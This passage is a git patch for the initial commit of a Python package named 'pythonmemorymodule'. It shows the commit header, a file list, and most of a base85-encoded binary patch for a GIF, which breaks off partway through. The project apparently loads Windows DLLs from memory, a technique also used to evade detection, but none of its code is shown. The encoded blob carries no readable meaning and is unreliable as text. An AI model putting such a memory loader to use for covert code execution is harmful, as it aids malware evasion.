From fc3dbea6c0531cf5be5b5ca6bf93a7525c0ddf3d Mon Sep 17 00:00:00 2001 From: naksyn <59816245+naksyn@users.noreply.github.com> Date: Thu, 5 Jan 2023 11:37:09 +0100 Subject: [PATCH] Initial commit Initial commit --- MemoryModuleCS.gif | Bin 0 -> 364869 bytes README.md | 48 + pythonmemorymodule/__init__.py | 862 +++ pythonmemorymodule/ordlookup/__init__.py | 34 + pythonmemorymodule/ordlookup/oleaut32.py | 400 ++ pythonmemorymodule/ordlookup/ws2_32.py | 119 + pythonmemorymodule/pefile.py | 7437 ++++++++++++++++++++++ 7 files changed, 8900 insertions(+) create mode 100644 MemoryModuleCS.gif create mode 100644 pythonmemorymodule/__init__.py create mode 100644 pythonmemorymodule/ordlookup/__init__.py create mode 100644 pythonmemorymodule/ordlookup/oleaut32.py create mode 100644 pythonmemorymodule/ordlookup/ws2_32.py create mode 100644 pythonmemorymodule/pefile.py diff --git a/MemoryModuleCS.gif b/MemoryModuleCS.gif new file mode 100644 index 0000000000000000000000000000000000000000..20a454a0ad9a7ecd9ad37aa5dd4334cf039443e4 GIT binary patch literal 364869 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 